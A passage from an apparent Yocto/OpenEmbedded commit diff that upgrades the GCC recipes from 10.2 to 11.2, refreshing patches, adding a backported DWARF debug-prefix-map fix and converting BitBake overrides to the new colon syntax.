--/* { dg-options "-O2 -mgeneral-regs-only -mno-cld -mno-iamcu -m80387" } */
-+/* { dg-options "-O2 -mgeneral-regs-only -mno-cld -mno-iamcu -m80387 -mfpmath=387" } */
-
- typedef unsigned int uword_t __attribute__ ((mode (__word__)));
-
-diff --git a/gcc/testsuite/gcc.target/i386/isa-14.c b/gcc/testsuite/gcc.target/i386/isa-14.c
-index 5d49e6e77fe..1de2db92bdd 100644
---- a/gcc/testsuite/gcc.target/i386/isa-14.c
-+++ b/gcc/testsuite/gcc.target/i386/isa-14.c
-@@ -1,5 +1,5 @@
- /* { dg-do run } */
--/* { dg-options "-march=x86-64 -msse4a -mfma4 -mno-sse" } */
-+/* { dg-options "-march=x86-64 -msse4a -mfma4 -mno-sse -mfpmath=387" } */
-
- extern void abort (void);
-
-diff --git a/gcc/testsuite/gcc.target/i386/pr44948-2b.c b/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-index fa1769b62fb..f79fb12726f 100644
---- a/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-+++ b/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-O -mno-sse -Wno-psabi -mtune=generic" } */
-+/* { dg-options "-O -mno-sse -Wno-psabi -mtune=generic -mfpmath=387" } */
-
- struct A
- {
-diff --git a/gcc/testsuite/gcc.target/i386/pr53425-1.c b/gcc/testsuite/gcc.target/i386/pr53425-1.c
-index 2e89ff7d81d..6339bf6b736 100644
---- a/gcc/testsuite/gcc.target/i386/pr53425-1.c
-+++ b/gcc/testsuite/gcc.target/i386/pr53425-1.c
-@@ -1,6 +1,6 @@
- /* PR target/53425 */
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
- /* { dg-skip-if "no SSE vector" { x86_64-*-mingw* } } */
-
- typedef double __v2df __attribute__ ((__vector_size__ (16)));
-diff --git a/gcc/testsuite/gcc.target/i386/pr53425-2.c b/gcc/testsuite/gcc.target/i386/pr53425-2.c
-index 61f6283dbe9..2c5a55f0ac3 100644
---- a/gcc/testsuite/gcc.target/i386/pr53425-2.c
-+++ b/gcc/testsuite/gcc.target/i386/pr53425-2.c
-@@ -1,6 +1,6 @@
- /* PR target/53425 */
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
- /* { dg-skip-if "no SSE vector" { x86_64-*-mingw* } } */
-
- typedef float __v2sf __attribute__ ((__vector_size__ (8)));
-diff --git a/gcc/testsuite/gcc.target/i386/pr55247.c b/gcc/testsuite/gcc.target/i386/pr55247.c
-index 23366d0909d..9810e3abb76 100644
---- a/gcc/testsuite/gcc.target/i386/pr55247.c
-+++ b/gcc/testsuite/gcc.target/i386/pr55247.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile { target { ! ia32 } } } */
- /* { dg-require-effective-target maybe_x32 } */
--/* { dg-options "-O2 -mno-sse -mno-mmx -mx32 -maddress-mode=long" } */
-+/* { dg-options "-O2 -mno-sse -mno-mmx -mx32 -maddress-mode=long -mfpmath=387" } */
-
- typedef unsigned int uint32_t;
- typedef uint32_t Elf32_Word;
-diff --git a/gcc/testsuite/gcc.target/i386/pr59644.c b/gcc/testsuite/gcc.target/i386/pr59644.c
-index 96006b3e338..4287e4538bf 100644
---- a/gcc/testsuite/gcc.target/i386/pr59644.c
-+++ b/gcc/testsuite/gcc.target/i386/pr59644.c
-@@ -1,6 +1,6 @@
- /* PR target/59644 */
- /* { dg-do run { target lp64 } } */
--/* { dg-options "-O2 -ffreestanding -mno-sse -mpreferred-stack-boundary=3 -maccumulate-outgoing-args -mno-red-zone" } */
-+/* { dg-options "-O2 -ffreestanding -mno-sse -mpreferred-stack-boundary=3 -maccumulate-outgoing-args -mno-red-zone -mfpmath=387" } */
-
- /* This test uses __builtin_trap () instead of e.g. abort,
- because due to -mpreferred-stack-boundary=3 it should not call
-diff --git a/gcc/testsuite/gcc.target/i386/pr62120.c b/gcc/testsuite/gcc.target/i386/pr62120.c
-index 28d85d37712..c93266bd4bc 100644
---- a/gcc/testsuite/gcc.target/i386/pr62120.c
-+++ b/gcc/testsuite/gcc.target/i386/pr62120.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-mno-sse" } */
-+/* { dg-options "-mno-sse -mfpmath=387" } */
-
- void foo ()
- {
-diff --git a/gcc/testsuite/gcc.target/i386/pr70467-1.c b/gcc/testsuite/gcc.target/i386/pr70467-1.c
-index 4e112c88d07..bcfb396a68d 100644
---- a/gcc/testsuite/gcc.target/i386/pr70467-1.c
-+++ b/gcc/testsuite/gcc.target/i386/pr70467-1.c
-@@ -1,6 +1,6 @@
- /* PR rtl-optimization/70467 */
- /* { dg-do compile } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
-
- void foo (unsigned long long *);
-
-diff --git a/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c b/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-index 6cda1534311..26e37f5b8ba 100644
---- a/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-+++ b/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-mno-sse -Wvector-operation-performance" } */
-+/* { dg-options "-mno-sse -Wvector-operation-performance -mfpmath=387" } */
- #define vector(elcount, type) \
- __attribute__((vector_size((elcount)*sizeof(type)))) type
-
diff --git a/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch b/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch
index ba7c2b8fd5..129f555a48 100644
--- a/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch
+++ b/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch
@@ -1,4 +1,4 @@
-From 3fc06241ce37e2e4b3ed21ace28d347eb511448d Mon Sep 17 00:00:00 2001
+From 0b900d6410b7c1938e86eceb87b032fd538566a9 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 6 Jun 2018 12:10:22 -0700
Subject: [PATCH] Re-introduce spe commandline options
@@ -10,17 +10,18 @@ Upstream-Status: Inappropriate [SPE port is removed from rs600 port]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- gcc/config/rs6000/rs6000.opt | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
+ gcc/config/rs6000/rs6000.opt | 13 +++++++++++++
+ 1 file changed, 13 insertions(+)
diff --git a/gcc/config/rs6000/rs6000.opt b/gcc/config/rs6000/rs6000.opt
-index f95b8279270..0e52d51409d 100644
+index 0dbdf753673..b273eb65c35 100644
--- a/gcc/config/rs6000/rs6000.opt
+++ b/gcc/config/rs6000/rs6000.opt
-@@ -344,6 +344,18 @@ mdebug=
+@@ -352,6 +352,19 @@ mdebug=
Target RejectNegative Joined
-mdebug= Enable debug output.
++; PPC SPE ABI
+mspe
+Target Var(rs6000_spe) Save
+Generate SPE SIMD instructions on E500.
@@ -33,6 +34,6 @@ index f95b8279270..0e52d51409d 100644
+Target RejectNegative Var(rs6000_spe_abi, 0)
+Do not use the SPE ABI extensions.
+
+ ; Altivec ABI
mabi=altivec
Target RejectNegative Var(rs6000_altivec_abi) Save
- Use the AltiVec ABI extensions.
diff --git a/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch b/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
index 4ce9dc6def..3f666dc7bd 100644
--- a/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
+++ b/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
@@ -1,4 +1,4 @@
-From b42ff59c3fe2967d37815c8db72a47b9b7f585b4 Mon Sep 17 00:00:00 2001
+From ea9154338cb3acbd75945fddde4202e73c20dd1a Mon Sep 17 00:00:00 2001
From: Szabolcs Nagy <nsz@port70.net>
Date: Sat, 24 Oct 2015 20:09:53 +0000
Subject: [PATCH] libgcc_s: Use alias for __cpu_indicator_init instead of
@@ -39,10 +39,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
3 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/gcc/config/i386/i386-expand.c b/gcc/config/i386/i386-expand.c
-index 48f00c5fcfc..468f5f71fac 100644
+index ac69eed4d32..ffaa44a16fc 100644
--- a/gcc/config/i386/i386-expand.c
+++ b/gcc/config/i386/i386-expand.c
-@@ -10941,10 +10941,10 @@ ix86_expand_builtin (tree exp, rtx target, rtx subtarget,
+@@ -11038,10 +11038,10 @@ ix86_expand_builtin (tree exp, rtx target, rtx subtarget,
{
case IX86_BUILTIN_CPU_INIT:
{
@@ -56,11 +56,11 @@ index 48f00c5fcfc..468f5f71fac 100644
return expand_expr (call_expr, target, mode, EXPAND_NORMAL);
}
diff --git a/libgcc/config/i386/cpuinfo.c b/libgcc/config/i386/cpuinfo.c
-index 00322c58622..f42bbb8af98 100644
+index ef463848f9d..1a3de052c80 100644
--- a/libgcc/config/i386/cpuinfo.c
+++ b/libgcc/config/i386/cpuinfo.c
-@@ -508,7 +508,7 @@ __cpu_indicator_init (void)
- return 0;
+@@ -63,7 +63,7 @@ __cpu_indicator_init (void)
+ __cpu_features2);
}
-#if defined SHARED && defined USE_ELF_SYMVER
diff --git a/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch b/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
index dd1bf6dedc..874cd7798d 100644
--- a/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
+++ b/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
@@ -1,4 +1,4 @@
-From 0395060a7dcf98c5f5a65103f6aaa71d6b862259 Mon Sep 17 00:00:00 2001
+From 520411cf364ee4b0b5a8f0857498aaabd790afb3 Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Tue, 10 Mar 2020 08:26:53 -0700
Subject: [PATCH] gentypes/genmodes: Do not use __LINE__ for maintaining
@@ -17,7 +17,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 19 insertions(+), 19 deletions(-)
diff --git a/gcc/gengtype.c b/gcc/gengtype.c
-index 981577481af..d5700fff401 100644
+index 5f50242e857..cbaca9b8cd0 100644
--- a/gcc/gengtype.c
+++ b/gcc/gengtype.c
@@ -991,7 +991,7 @@ create_field_at (pair_p next, type_p type, const char *name, options_p opt,
@@ -38,7 +38,7 @@ index 981577481af..d5700fff401 100644
/* Reverse a linked list of 'struct pair's in place. */
pair_p
-@@ -5187,7 +5187,7 @@ main (int argc, char **argv)
+@@ -5189,7 +5189,7 @@ main (int argc, char **argv)
/* These types are set up with #define or else outside of where
we can see them. We should initialize them before calling
read_input_list. */
@@ -48,10 +48,10 @@ index 981577481af..d5700fff401 100644
POS_HERE (do_scalar_typedef ("CUMULATIVE_ARGS", &pos));
POS_HERE (do_scalar_typedef ("REAL_VALUE_TYPE", &pos));
diff --git a/gcc/genmodes.c b/gcc/genmodes.c
-index bd78310ea24..dbd02c51a4c 100644
+index c268ebc4c6e..4361f3f1563 100644
--- a/gcc/genmodes.c
+++ b/gcc/genmodes.c
-@@ -430,7 +430,7 @@ complete_all_modes (void)
+@@ -438,7 +438,7 @@ complete_all_modes (void)
}
/* For each mode in class CLASS, construct a corresponding complex mode. */
@@ -60,7 +60,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void
make_complex_modes (enum mode_class cl,
const char *file, unsigned int line)
-@@ -489,7 +489,7 @@ make_complex_modes (enum mode_class cl,
+@@ -497,7 +497,7 @@ make_complex_modes (enum mode_class cl,
having as many components as necessary. ORDER is the sorting order
of the mode, with smaller numbers indicating a higher priority. */
#define VECTOR_MODES_WITH_PREFIX(PREFIX, C, W, ORDER) \
@@ -69,7 +69,7 @@ index bd78310ea24..dbd02c51a4c 100644
#define VECTOR_MODES(C, W) VECTOR_MODES_WITH_PREFIX (V, C, W, 0)
static void ATTRIBUTE_UNUSED
make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
-@@ -541,7 +541,7 @@ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
+@@ -549,7 +549,7 @@ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
/* Create a vector of booleans called NAME with COUNT elements and
BYTESIZE bytes in total. */
#define VECTOR_BOOL_MODE(NAME, COUNT, BYTESIZE) \
@@ -78,7 +78,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void ATTRIBUTE_UNUSED
make_vector_bool_mode (const char *name, unsigned int count,
unsigned int bytesize, const char *file,
-@@ -563,7 +563,7 @@ make_vector_bool_mode (const char *name, unsigned int count,
+@@ -571,7 +571,7 @@ make_vector_bool_mode (const char *name, unsigned int count,
/* Input. */
#define _SPECIAL_MODE(C, N) \
@@ -87,7 +87,7 @@ index bd78310ea24..dbd02c51a4c 100644
#define RANDOM_MODE(N) _SPECIAL_MODE (RANDOM, N)
#define CC_MODE(N) _SPECIAL_MODE (CC, N)
-@@ -576,7 +576,7 @@ make_special_mode (enum mode_class cl, const char *name,
+@@ -584,7 +584,7 @@ make_special_mode (enum mode_class cl, const char *name,
#define INT_MODE(N, Y) FRACTIONAL_INT_MODE (N, -1U, Y)
#define FRACTIONAL_INT_MODE(N, B, Y) \
@@ -96,7 +96,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void
make_int_mode (const char *name,
-@@ -589,16 +589,16 @@ make_int_mode (const char *name,
+@@ -611,16 +611,16 @@ make_opaque_mode (const char *name,
}
#define FRACT_MODE(N, Y, F) \
@@ -117,7 +117,7 @@ index bd78310ea24..dbd02c51a4c 100644
/* Create a fixed-point mode by setting CL, NAME, BYTESIZE, IBIT, FBIT,
FILE, and LINE. */
-@@ -619,7 +619,7 @@ make_fixed_point_mode (enum mode_class cl,
+@@ -641,7 +641,7 @@ make_fixed_point_mode (enum mode_class cl,
#define FLOAT_MODE(N, Y, F) FRACTIONAL_FLOAT_MODE (N, -1U, Y, F)
#define FRACTIONAL_FLOAT_MODE(N, B, Y, F) \
@@ -126,7 +126,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void
make_float_mode (const char *name,
-@@ -636,7 +636,7 @@ make_float_mode (const char *name,
+@@ -658,7 +658,7 @@ make_float_mode (const char *name,
#define DECIMAL_FLOAT_MODE(N, Y, F) \
FRACTIONAL_DECIMAL_FLOAT_MODE (N, -1U, Y, F)
#define FRACTIONAL_DECIMAL_FLOAT_MODE(N, B, Y, F) \
@@ -135,7 +135,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void
make_decimal_float_mode (const char *name,
-@@ -651,7 +651,7 @@ make_decimal_float_mode (const char *name,
+@@ -673,7 +673,7 @@ make_decimal_float_mode (const char *name,
}
#define RESET_FLOAT_FORMAT(N, F) \
@@ -144,7 +144,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void ATTRIBUTE_UNUSED
reset_float_format (const char *name, const char *format,
const char *file, unsigned int line)
-@@ -672,7 +672,7 @@ reset_float_format (const char *name, const char *format,
+@@ -694,7 +694,7 @@ reset_float_format (const char *name, const char *format,
/* __intN support. */
#define INT_N(M,PREC) \
@@ -153,7 +153,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void ATTRIBUTE_UNUSED
make_int_n (const char *m, int bitsize,
const char *file, unsigned int line)
-@@ -701,7 +701,7 @@ make_int_n (const char *m, int bitsize,
+@@ -723,7 +723,7 @@ make_int_n (const char *m, int bitsize,
/* Partial integer modes are specified by relation to a full integer
mode. */
#define PARTIAL_INT_MODE(M,PREC,NAME) \
@@ -162,7 +162,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void ATTRIBUTE_UNUSED
make_partial_integer_mode (const char *base, const char *name,
unsigned int precision,
-@@ -728,7 +728,7 @@ make_partial_integer_mode (const char *base, const char *name,
+@@ -750,7 +750,7 @@ make_partial_integer_mode (const char *base, const char *name,
/* A single vector mode can be specified by naming its component
mode and the number of components. */
#define VECTOR_MODE(C, M, N) \
@@ -171,7 +171,7 @@ index bd78310ea24..dbd02c51a4c 100644
static void ATTRIBUTE_UNUSED
make_vector_mode (enum mode_class bclass,
const char *base,
-@@ -771,7 +771,7 @@ make_vector_mode (enum mode_class bclass,
+@@ -793,7 +793,7 @@ make_vector_mode (enum mode_class bclass,
/* Adjustability. */
#define _ADD_ADJUST(A, M, X, C1, C2) \
diff --git a/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch b/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch
index de82a3a539..3a7618c820 100644
--- a/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch
+++ b/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch
@@ -1,4 +1,4 @@
-From 6f87a095f0e696bec07a50df789c9db8bdbca43d Mon Sep 17 00:00:00 2001
+From 96d895c8d5dc895d24fe37aa2b4f201a2566b4cc Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 12 May 2020 10:39:09 -0700
Subject: [PATCH] mingw32: Enable operation_not_supported
@@ -12,15 +12,15 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/libstdc++-v3/config/os/mingw32/error_constants.h b/libstdc++-v3/config/os/mingw32/error_constants.h
-index 68ac72a78fb..71cd5815b81 100644
+index eca06a97014..933cfab49cf 100644
--- a/libstdc++-v3/config/os/mingw32/error_constants.h
+++ b/libstdc++-v3/config/os/mingw32/error_constants.h
@@ -107,7 +107,7 @@ _GLIBCXX_BEGIN_NAMESPACE_VERSION
- #ifdef _GLIBCXX_HAVE_EPERM
+ #ifdef EPERM
operation_not_permitted = EPERM,
#endif
-// operation_not_supported = EOPNOTSUPP,
+ operation_not_supported = EOPNOTSUPP,
- #ifdef _GLIBCXX_HAVE_EWOULDBLOCK
+ #ifdef EWOULDBLOCK
operation_would_block = EWOULDBLOCK,
#endif
diff --git a/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch b/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch
index 3946acea11..4c9a79cb64 100644
--- a/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch
+++ b/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch
@@ -1,4 +1,4 @@
-From 38d262bfe7c0c894c364dc6e4dc7971e78a73974 Mon Sep 17 00:00:00 2001
+From 36d4fdbc99e69f9d70a29e2bada40cc3c1534557 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 13 May 2020 15:10:38 -0700
Subject: [PATCH] libatomic: Do not enforce march on aarch64
@@ -17,7 +17,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 2 deletions(-)
diff --git a/libatomic/Makefile.am b/libatomic/Makefile.am
-index 133fbbca77e..ac1ca645876 100644
+index 0f3cd6f7121..c8124c1d5aa 100644
--- a/libatomic/Makefile.am
+++ b/libatomic/Makefile.am
@@ -125,7 +125,6 @@ libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix _$(s)_.lo,$(SIZEOBJS)))
@@ -29,10 +29,10 @@ index 133fbbca77e..ac1ca645876 100644
endif
if ARCH_ARM_LINUX
diff --git a/libatomic/Makefile.in b/libatomic/Makefile.in
-index a51807e95c9..97df2d7ff03 100644
+index 0a51bd55f01..6d5b1581706 100644
--- a/libatomic/Makefile.in
+++ b/libatomic/Makefile.in
-@@ -431,7 +431,6 @@ M_SRC = $(firstword $(filter %/$(M_FILE), $(all_c_files)))
+@@ -432,7 +432,6 @@ M_SRC = $(firstword $(filter %/$(M_FILE), $(all_c_files)))
libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix \
_$(s)_.lo,$(SIZEOBJS))) $(am__append_1) $(am__append_2) \
$(am__append_3) $(am__append_4)
diff --git a/meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch b/meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch
new file mode 100644
index 0000000000..c8dcd74b9d
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch
@@ -0,0 +1,95 @@
+From 7cc2df084b7977653a9b59cbc34a9ad500ae619c Mon Sep 17 00:00:00 2001
+From: Richard Biener <rguenther@suse.de>
+Date: Tue, 20 Jul 2021 11:00:33 +0200
+Subject: [PATCH] debug/101473 - apply debug prefix maps before checksumming DIEs
+
+The following makes sure to apply the debug prefix maps to filenames
+before checksumming DIEs to create the global symbol for the CU DIE
+used by LTO to link the late debug to the early debug. This avoids
+binary differences (in said symbol) when compiling with toolchains
+installed under a different path and that compensated with appropriate
+-fdebug-prefix-map options.
+
+The easiest and most scalable way is to record both the unmapped
+and the remapped filename in the dwarf_file_data so the remapping
+process takes place at a single point and only once (otherwise it
+creates GC garbage at each point doing that).
+
+2021-07-20 Richard Biener <rguenther@suse.de>
+
+ PR debug/101473
+ * dwarf2out.h (dwarf_file_data): Add key member.
+ * dwarf2out.c (dwarf_file_hasher::equal): Compare key.
+ (dwarf_file_hasher::hash): Hash key.
+ (lookup_filename): Remap the filename and store it in the
+ filename member of dwarf_file_data when creating a new
+ dwarf_file_data.
+ (file_name_acquire): Do not remap the filename again.
+ (maybe_emit_file): Likewise.
+
+[YOCTO #14481]
+
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=7cc2df084b7977653a9b59cbc34a9ad500ae619c]
+
+The upstream patch was modified to compensate for the definition of
+"struct dwarf_file_data" being in dwarf2out.c rather than dwarf2out.h in
+this version of gcc.
+
+Signed-off-by: Tony Battersby <tonyb@cybernetics.com>
+---
+diff -urpN a/gcc/dwarf2out.c b/gcc/dwarf2out.c
+--- a/gcc/dwarf2out.c 2021-04-27 06:00:13.000000000 -0400
++++ b/gcc/dwarf2out.c 2021-07-23 16:40:06.141886167 -0400
+@@ -1283,6 +1283,7 @@ dwarf2out_switch_text_section (void)
+
+ /* Data about a single source file. */
+ struct GTY((for_user)) dwarf_file_data {
++ const char * key;
+ const char * filename;
+ int emitted_number;
+ };
+@@ -12334,7 +12335,7 @@ file_name_acquire (dwarf_file_data **slo
+
+ fi = fnad->files + fnad->used_files++;
+
+- f = remap_debug_filename (d->filename);
++ f = d->filename;
+
+ /* Skip all leading "./". */
+ while (f[0] == '.' && IS_DIR_SEPARATOR (f[1]))
+@@ -27231,13 +27232,13 @@ dwarf2out_ignore_block (const_tree block
+ bool
+ dwarf_file_hasher::equal (dwarf_file_data *p1, const char *p2)
+ {
+- return filename_cmp (p1->filename, p2) == 0;
++ return filename_cmp (p1->key, p2) == 0;
+ }
+
+ hashval_t
+ dwarf_file_hasher::hash (dwarf_file_data *p)
+ {
+- return htab_hash_string (p->filename);
++ return htab_hash_string (p->key);
+ }
+
+ /* Lookup FILE_NAME (in the list of filenames that we know about here in
+@@ -27267,7 +27268,8 @@ lookup_filename (const char *file_name)
+ return *slot;
+
+ created = ggc_alloc<dwarf_file_data> ();
+- created->filename = file_name;
++ created->key = file_name;
++ created->filename = remap_debug_filename (file_name);
+ created->emitted_number = 0;
+ *slot = created;
+ return created;
+@@ -27293,8 +27295,7 @@ maybe_emit_file (struct dwarf_file_data
+ if (output_asm_line_debug_info ())
+ {
+ fprintf (asm_out_file, "\t.file %u ", fd->emitted_number);
+- output_quoted_string (asm_out_file,
+- remap_debug_filename (fd->filename));
++ output_quoted_string (asm_out_file, fd->filename);
+ fputc ('\n', asm_out_file);
+ }
+ }
diff --git a/meta/recipes-devtools/gcc/gcc_10.2.bb b/meta/recipes-devtools/gcc/gcc_10.2.bb
deleted file mode 100644
index 7d93590588..0000000000
--- a/meta/recipes-devtools/gcc/gcc_10.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require gcc-target.inc
-
-# Building with thumb enabled on armv4t armv5t fails with
-# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7438:(.text.unlikely+0x2fa): relocation truncated to fit: R_ARM_THM_CALL against symbol `fancy_abort(char const*, int, char const*)' defined in .glue_7 section in linker stubs
-# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7442:(.text.unlikely+0x318): additional relocation overflows omitted from the output
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-ARMFPARCHEXT_armv6 = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-ARMFPARCHEXT_armv7a = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-ARMFPARCHEXT_armv7ve = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/gcc/gcc_11.2.bb b/meta/recipes-devtools/gcc/gcc_11.2.bb
new file mode 100644
index 0000000000..255fe552bd
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc_11.2.bb
@@ -0,0 +1,14 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require gcc-target.inc
+
+# Building with thumb enabled on armv4t armv5t fails with
+# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7438:(.text.unlikely+0x2fa): relocation truncated to fit: R_ARM_THM_CALL against symbol `fancy_abort(char const*, int, char const*)' defined in .glue_7 section in linker stubs
+# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7442:(.text.unlikely+0x318): additional relocation overflows omitted from the output
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+ARMFPARCHEXT:armv6 = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+ARMFPARCHEXT:armv7a = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+ARMFPARCHEXT:armv7ve = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/gcc/libgcc-common.inc b/meta/recipes-devtools/gcc/libgcc-common.inc
index d959566c3f..d48dc8b823 100644
--- a/meta/recipes-devtools/gcc/libgcc-common.inc
+++ b/meta/recipes-devtools/gcc/libgcc-common.inc
@@ -44,16 +44,16 @@ do_install () {
rm -rf ${D}${libdir}/${TARGET_SYS}/${BINV}/include
}
-do_install_append_libc-baremetal () {
+do_install:append:libc-baremetal () {
rmdir ${D}${base_libdir}
}
-do_install_append_libc-newlib () {
+do_install:append:libc-newlib () {
rmdir ${D}${base_libdir}
}
# No rpm package is actually created but -dev depends on it, avoid dnf error
-RDEPENDS_${PN}-dev_libc-baremetal = ""
-RDEPENDS_${PN}-dev_libc-newlib = ""
+RDEPENDS:${PN}-dev:libc-baremetal = ""
+RDEPENDS:${PN}-dev:libc-newlib = ""
BBCLASSEXTEND = "nativesdk"
@@ -98,9 +98,9 @@ fakeroot python do_multilib_install() {
for ml in multilibs.split():
- tune = d.getVar('DEFAULTTUNE_virtclass-multilib-' + ml)
+ tune = d.getVar('DEFAULTTUNE:virtclass-multilib-' + ml)
if not tune:
- bb.warn('DEFAULTTUNE_virtclass-multilib-%s is not defined. Skipping...' % ml)
+ bb.warn('DEFAULTTUNE:virtclass-multilib-%s is not defined. Skipping...' % ml)
continue
tune_parameters = get_tune_parameters(tune, d)
diff --git a/meta/recipes-devtools/gcc/libgcc-initial.inc b/meta/recipes-devtools/gcc/libgcc-initial.inc
index 06bf224f73..8251e3c286 100644
--- a/meta/recipes-devtools/gcc/libgcc-initial.inc
+++ b/meta/recipes-devtools/gcc/libgcc-initial.inc
@@ -42,17 +42,17 @@ inherit nopackages
# We really only want this built by things that need it, not any recrdeptask
deltask do_build
-do_configure_prepend () {
+do_configure:prepend () {
install -d ${STAGING_INCDIR}
touch ${STAGING_INCDIR}/limits.h
sed -i -e 's#INHIBIT_LIBC_CFLAGS =.*#INHIBIT_LIBC_CFLAGS = -Dinhibit_libc#' ${B}/gcc/libgcc.mvars
sed -i -e 's#inhibit_libc = false#inhibit_libc = true#' ${B}/gcc/Makefile
}
-do_configure_append () {
+do_configure:append () {
sed -i -e 's#thread_header = .*#thread_header = gthr-single.h#' ${B}/${BPN}/Makefile
}
-do_install_append () {
+do_install:append () {
ln -s libgcc.a ${D}${libdir}/${TARGET_SYS}/${BINV}/libgcc_eh.a
}
diff --git a/meta/recipes-devtools/gcc/libgcc-initial_10.2.bb b/meta/recipes-devtools/gcc/libgcc-initial_10.2.bb
deleted file mode 100644
index 0c698c26ec..0000000000
--- a/meta/recipes-devtools/gcc/libgcc-initial_10.2.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require libgcc-initial.inc
-
